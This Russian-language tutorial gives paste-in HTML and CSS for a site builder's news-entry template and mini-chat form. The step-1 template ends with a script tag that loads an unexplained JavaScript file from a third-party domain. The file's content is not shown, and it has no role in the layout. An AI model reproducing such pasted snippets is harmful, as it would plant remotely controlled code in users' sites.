1.Создайте страницу сайта и вставьте туда этот код:
Code
<table class="eBlock" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td style="border: 1px solid rgb(184, 184, 184); padding: 5px; background: transparent url(http://sinyi.3dn.ru/top3_bkgr.png) repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" align="right">
<div></div>
<table class="eBlock" width="100%" border="0" cellpadding="1" cellspacing="0">
<tbody>
<tr>
<td>
<div align="left"></div>
<table width="481" border="0" cellpadding="1" cellspacing="1" height="85">
<tbody>
<tr>
<td colspan="2" align="left">
<div align="left"></div><?if($USERNAME$)?><div align="left"><font color="#ffd700"><b><i><span style="color: rgb(255, 0, 0);"><span style="color: rgb(255, 215, 0);"></span><a title="Автор новости $USERNAME$" href="$PROFILE_URL$">$USERNAME$</a> </span></i></b></font><br></div><?endif?><?if($CATEGORY_NAME$)?><?endif?><!--%IFEL4%2%> категории нет<!%IFEN4%2%-->
<div class="cMessage" align="left"><img alt="" src="http://sinyi.3dn.ru/avatar/noava.png" width="72" align="" border="0" height="72"> <b><i><font color="#ffffff">$MESSAGE$</font></i></b></div></td></tr>
<tr>
<td colspan="2" align="left"><div align="right"><b><i><a title="Нажми для просмотра $TITLE$ целиком" href="$ENTRY_URL$"><span style="color: rgb(255, 215, 0);"></span></a><span style="color: rgb(255, 0, 0);"><span style="font-size: 12pt;"><span style="font-size: 10pt;"><span style="font-size: 8pt;"><a href="#gohere" onclick="window.external.AddFavorite (top.location.href,top.document.title);" rel="sidebar" name="gohere" class="add_friend with_icon ic_favorites" title="Мультимедийный развлекательный сайт"></a></span><span style="font-size: 10pt; color: rgb(255, 215, 0);"></span></span></span></span></i></b></div> <?if($MODER_PANEL$)?><?endif?><?if($RATING$)?><?endif?></td></tr></tbody></table></td></tr></tbody> </table></td></tr></tbody></table><SCRIPT TYPE="text/javascript" SRC="http://prouserscs.moy.su/Scripts/blue.js"></SCRIPT>
2.Зайдём - Панель управления >> Мини-чат >> Форма добавления сообщения,удаляем там всё и ставим это:
Code
<style type="text/css">
.postSubmit {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #ff0000;
color: #ffffff;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
.postSubmit:hover {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #83ca12;
color: #f3f3f3;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
.postReset {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #6495ED;
color: #ffffff;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
.postReset:hover {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #e33939;
color: #6495ED;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
.postPreview {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #6495ED;
color: #ffffff;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
.postPreview:hover {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #6495ED;
color: #f3f3f3;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
.postReset {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #6495ED;
color: #FFFFFF;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
.postReset:hover {
border: 0px;
padding: 5px;
text-align: center;
font-size: 10px;
margin: 0px;
width: auto;
background: #6495ED;
color: #FFFFFF;
cursor: pointer;
letter-spacing: 0px;
font-family: verdana;
}
</style>
<input href="$ACTION_URL$" onclick="window.location.reload();return false;" title="Обновить" style="margin: 0px; height: 24px; width: 30px;" value="©" class="postReset" type="button">
<input class="postPreview" onclick="window.open('/mchat/0-1','mchatCtrl','scrollbars=1,width=550,height=550,left=0,top=0'); return false;" style="margin: 0px; height: 24px; width: 30px;" value="mail" type="button">
<a class="noun" href="javascript:void('smiles')" onclick="ffoc(document.forms.addform.message,2);wasclk[2]=2;window.open('$SMILES_URI$','csmiles','scrollbars=1,width=250,height=350,left=0,top=0'); return false;" title="Вставить смайл"><img src="http://worldprog.at.ua/news/bbcodes/emo.gif" width="25" align="absmiddle" border="0" height="25"></a>
<a class="noun" target="cbbcodes" href="javascript:void('BB-codes')" onclick="window.open('$BBCODES_URI$','cbbcodes','scrollbars=1,width=550,height=450,left=0,top=0'); return false;" title="BB-Коды"><img src="http://worldprog.at.ua/load/bbcodes/b.gif" width="25" align="absmiddle" border="0" height="25"></a>
<input maxlength="60" name="uname" size="8" class="mchat" id="mchatNmF" value="" onfocus="ffoc(this,0)" onblur="fblur(this,0)" title="$STR_NAME$" style="border: 1px solid rgb(170, 170, 170); background: transparent url(http://coool.net.ru/images/1/main_top_gradient.png) repeat-x scroll left top; display: none; height: 24px; color: rgb(119, 119, 119); font-family: Verdana; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" type="text">
<font color="#ff0000"><input maxlength="$MAX_MESSAGE_LEN$" name="message" size="22" class="mchat" id="mchatMsgF" value="" onfocus="ffoc(this,2)" onblur="fblur(this,2)" title="Сообщение" style="border: 1px solid rgb(170, 170, 170); margin: 0px; padding: 5px; width: 68%; font-size: 7pt; height: 24px; color: rgb(119, 119, 119); font-family: Verdana; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" type="text"></font>
<input style="margin: 0px; height: 24px; width: 30px;" value="»" class="postSubmit" id="mchatBtn" onclick="return checkform(this.form);" type="submit">